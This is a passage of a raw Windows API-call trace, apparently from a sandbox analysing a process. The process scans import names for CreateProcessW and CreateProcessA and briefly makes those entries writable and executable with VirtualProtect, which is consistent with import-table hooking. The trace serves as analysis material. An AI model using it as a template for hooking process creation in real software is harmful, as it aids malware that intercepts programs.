(lpString1="GetDynamicTimeZoneInformation", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="GetTimeZoneInformation", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="GetBinaryTypeW", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="QueryPerformanceFrequency", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="QueueUserWorkItem", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="GetProductInfo", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="TerminateThread", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessW") returned -1 [0042.764] lstrcmpiA (lpString1="GetQueuedCompletionStatus", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="LoadLibraryA", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="DeleteFileW", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="GetProcessId", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="GetWindowsDirectoryW", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="CompareStringW", lpString2="CreateProcessW") returned -1 [0042.764] lstrcmpiA (lpString1="lstrcmpA", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="CompareFileTime", lpString2="CreateProcessW") returned -1 [0042.764] lstrcmpiA (lpString1="QueryFullProcessImageNameW", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="CreateProcessW") returned -1 [0042.764] lstrcmpiA (lpString1="ResetEvent", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="GlobalFree", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="DuplicateHandle", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="GetCurrentDirectoryW", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="WaitForMultipleObjects", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="GetComputerNameW", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="GlobalLock", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="GlobalUnlock", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="GlobalAlloc", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="lstrlenA", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="DeactivateActCtx", lpString2="CreateProcessW") returned 1 [0042.764] lstrcmpiA (lpString1="ActivateActCtx", lpString2="CreateProcessW") returned -1 [0042.764] lstrcmpiA (lpString1="ReleaseActCtx", lpString2="CreateProcessW") returned 1 [0042.765] lstrcmpiA (lpString1="CreateActCtxW", lpString2="CreateProcessW") returned -1 [0042.765] lstrcmpiA (lpString1="LockResource", lpString2="CreateProcessW") returned 1 [0042.765] lstrcmpiA (lpString1="LoadResource", lpString2="CreateProcessW") returned 1 [0042.765] lstrcmpiA (lpString1="FindResourceExW", lpString2="CreateProcessW") returned 1 [0042.765] lstrcmpiA (lpString1="HeapAlloc", lpString2="CreateProcessW") returned 1 [0042.765] lstrcmpiA (lpString1="HeapFree", lpString2="CreateProcessW") returned 1 [0042.765] lstrcmpiA (lpString1="GetProcessHeap", lpString2="CreateProcessW") returned 1 [0042.765] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="CreateProcessW") returned 1 [0042.765] lstrcmpiA (lpString1="GetCommandLineW", lpString2="CreateProcessW") returned 1 [0042.765] lstrcmpiA (lpString1="GetPrivateProfileStringW", lpString2="CreateProcessW") returned 1 [0042.765] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="CreateProcessW") returned 1 [0042.765] lstrcmpiA (lpString1="CreateProcessW", lpString2="CreateProcessW") returned 0 [0042.765] VirtualProtect (in: lpAddress=0xffc19560, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.766] VirtualProtect (in: lpAddress=0xffc19560, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.767] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f0c0 [0042.767] lstrcmpiA (lpString1="RegCreateKeyW", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="RegCloseKey", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="RegGetValueW", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="EventWrite", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="EventEnabled", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="GetTraceLoggerHandle", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="GetTraceEnableLevel", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="GetTraceEnableFlags", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="RegisterTraceGuidsW", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="UnregisterTraceGuids", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="GetLengthSid", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="GetTokenInformation", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="OpenProcessToken", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="RegCreateKeyExW", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="RegSetValueExW", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="EventRegister", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="RegDeleteKeyExW", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="EventUnregister", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="TraceMessage", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="RegOpenKeyW", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="RegDeleteValueW", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="RegQueryInfoKeyW", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="RegEnumValueW", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="LsaOpenPolicy", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="GetSidSubAuthorityCount", lpString2="CreateProcessA") returned 1 [0042.767] lstrcmpiA (lpString1="LsaClose", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="IsValidSid", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="LsaFreeMemory", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="StartTraceW", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="EnableTraceEx", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="StopTraceW", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="CryptAcquireContextW", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="CryptCreateHash", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="CryptHashData", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="CryptGetHashParam", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="CryptDestroyHash", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="CryptReleaseContext", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="StartServiceW", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="CreateWellKnownSid", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="RegEnumKeyExW", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="GetSidSubAuthority", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="LsaLookupSids", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="ConvertSidToStringSidW", lpString2="CreateProcessA") returned -1 [0042.768] lstrcmpiA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW", lpString2="CreateProcessA") returned -1 [0042.768] lstrcmpiA (lpString1="CheckTokenMembership", lpString2="CreateProcessA") returned -1 [0042.768] lstrcmpiA (lpString1="QueryServiceStatus", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="OpenSCManagerW", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="OpenServiceW", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="CloseServiceHandle", lpString2="CreateProcessA") returned -1 [0042.768] lstrcmpiA (lpString1="ConvertStringSidToSidW", lpString2="CreateProcessA") returned -1 [0042.768] lstrcmpiA (lpString1="OpenThreadToken", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="ReadFile", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="GetFileSize", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="CreateFileW", lpString2="CreateProcessA") returned -1 [0042.768] lstrcmpiA (lpString1="FlushInstructionCache", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="RaiseException", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="SetLastError", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="OpenThread", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="GetDateFormatW", lpString2="CreateProcessA") returned 1 [0042.768] lstrcmpiA (lpString1="GetTimeFormatW", lpString2="CreateProcessA") returned 1 [0042.769] lstrcmpiA (lpString1="GetLocalTime", lpString2="CreateProcessA") returned 1 [0042.769] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="CreateProcessA") returned 1 [0042.769] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="CreateProcessA") returned 1 [0042.769] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="CreateProcessA") returned 1 [0042.769] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="CreateProcessA") returned 1 [0042.769] lstrcmpiA (lpString1="OpenEventW", lpString2="CreateProcessA") returned 1 [0042.769] lstrcmpiA (lpString1="InterlockedPopEntrySList", lpString2="CreateProcessA") returned 1 [0042.769] lstrcmpiA (lpString1="FindClose", lpString2="CreateProcessA") returned 1 [0042.769] lstrcmpiA (lpString1="FindNextFileW", lpString2="CreateProcessA") returned 1 [0042.769] lstrcmpiA (lpString1="GetLongPathNameW", lpString2="CreateProcessA") returned 1 [0042.769] lstrcmpiA (lpString1="SetProcessShutdownParameters", lpString2="CreateProcessA") returned 1 [0042.769] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f0c0 | out: hHeap=0x9770000) returned 1 [0042.769] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f0c0 [0042.769] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f0c0 | out: hHeap=0x9770000) returned 1 [0042.769] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f0c0 [0042.770] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f0c0 | out: hHeap=0x9770000) returned 1 [0042.770] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77160000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x77160000, AllocationBase=0x77160000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.770] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.770] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77040000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x77040000, AllocationBase=0x77040000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.770] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.770] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd330000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd330000, AllocationBase=0x7fefd330000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.770] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.770] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd670000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd670000, AllocationBase=0x7fefd670000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.770] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.770] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f0c0 [0042.770] VirtualProtect (in: lpAddress=0x7fefd6ea498, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.771] VirtualProtect (in: lpAddress=0x7fefd6ea498, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.772] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f130 [0042.772] VirtualProtect (in: lpAddress=0x7fefd6ea490, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.773] VirtualProtect (in: lpAddress=0x7fefd6ea490, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.774] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f1a0 [0042.774] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f1a0 | out: hHeap=0x9770000) returned 1 [0042.774] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f1a0 [0042.774] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f1a0 | out: hHeap=0x9770000) returned 1 [0042.774] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff190000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7feff190000, AllocationBase=0x7feff190000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.774] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.774] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f1a0 [0042.774] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f1a0 | out: hHeap=0x9770000) returned 1 [0042.774] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f1a0 [0042.774] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f1a0 | out: hHeap=0x9770000) returned 1 [0042.774] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f1a0 [0042.775] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f1a0 | out: hHeap=0x9770000) returned 1 [0042.775] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f1a0 [0042.775] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f1a0 | out: hHeap=0x9770000) returned 1 [0042.775] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefe900000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefe900000, AllocationBase=0x7fefe900000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.775] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.775] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f1a0 [0042.775] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f1a0 | out: hHeap=0x9770000) returned 1 [0042.775] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f1a0 [0042.775] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f1a0 | out: hHeap=0x9770000) returned 1 [0042.775] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f1a0 [0042.775] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f1a0 | out: hHeap=0x9770000) returned 1 [0042.775] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f1a0 [0042.775] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f1a0 | out: hHeap=0x9770000) returned 1 [0042.775] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefee30000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefee30000, AllocationBase=0x7fefee30000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.775] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.776] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f1a0 [0042.776] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f1a0 | out: hHeap=0x9770000) returned 1 [0042.776] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f1a0 [0042.776] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f1a0 | out: hHeap=0x9770000) returned 1 [0042.776] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f1a0 [0042.776] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f1a0 | out: hHeap=0x9770000) returned 1 [0042.776] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f1a0 [0042.776] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f1a0 | out: hHeap=0x9770000) returned 1 [0042.776] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x76f40000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x76f40000, AllocationBase=0x76f40000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.776] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.776] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f1a0 [0042.776] VirtualProtect (in: lpAddress=0x76fc27d8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.777] VirtualProtect (in: lpAddress=0x76fc27d8, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.778] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f210 [0042.778] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f210 | out: hHeap=0x9770000) returned 1 [0042.778] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f210 [0042.778] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f210 | out: hHeap=0x9770000) returned 1 [0042.778] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f210 [0042.778] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f210 | out: hHeap=0x9770000) returned 1 [0042.778] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff1b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7feff1b0000, AllocationBase=0x7feff1b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.778] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.779] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f210 [0042.779] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f210 | out: hHeap=0x9770000) returned 1 [0042.779] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f210 [0042.779] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f210 | out: hHeap=0x9770000) returned 1 [0042.779] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f210 [0042.779] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f210 | out: hHeap=0x9770000) returned 1 [0042.779] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f210 [0042.779] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f210 | out: hHeap=0x9770000) returned 1 [0042.779] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd7f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd7f0000, AllocationBase=0x7fefd7f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.779] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.779] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f210 [0042.779] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f210 | out: hHeap=0x9770000) returned 1 [0042.779] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f210 [0042.779] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f210 | out: hHeap=0x9770000) returned 1 [0042.779] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f210 [0042.779] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f210 | out: hHeap=0x9770000) returned 1 [0042.779] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f210 [0042.779] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f210 | out: hHeap=0x9770000) returned 1 [0042.779] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd5c0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd5c0000, AllocationBase=0x7fefd5c0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.779] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.779] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f210 [0042.780] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f210 | out: hHeap=0x9770000) returned 1 [0042.780] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f210 [0042.780] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f210 | out: hHeap=0x9770000) returned 1 [0042.780] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f210 [0042.780] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f210 | out: hHeap=0x9770000) returned 1 [0042.780] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f210 [0042.780] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f210 | out: hHeap=0x9770000) returned 1 [0042.780] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefdb70000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefdb70000, AllocationBase=0x7fefdb70000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.780] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.780] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f210 [0042.780] VirtualProtect (in: lpAddress=0x7fefdf9e700, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.781] VirtualProtect (in: lpAddress=0x7fefdf9e700, dwSize=0x8, 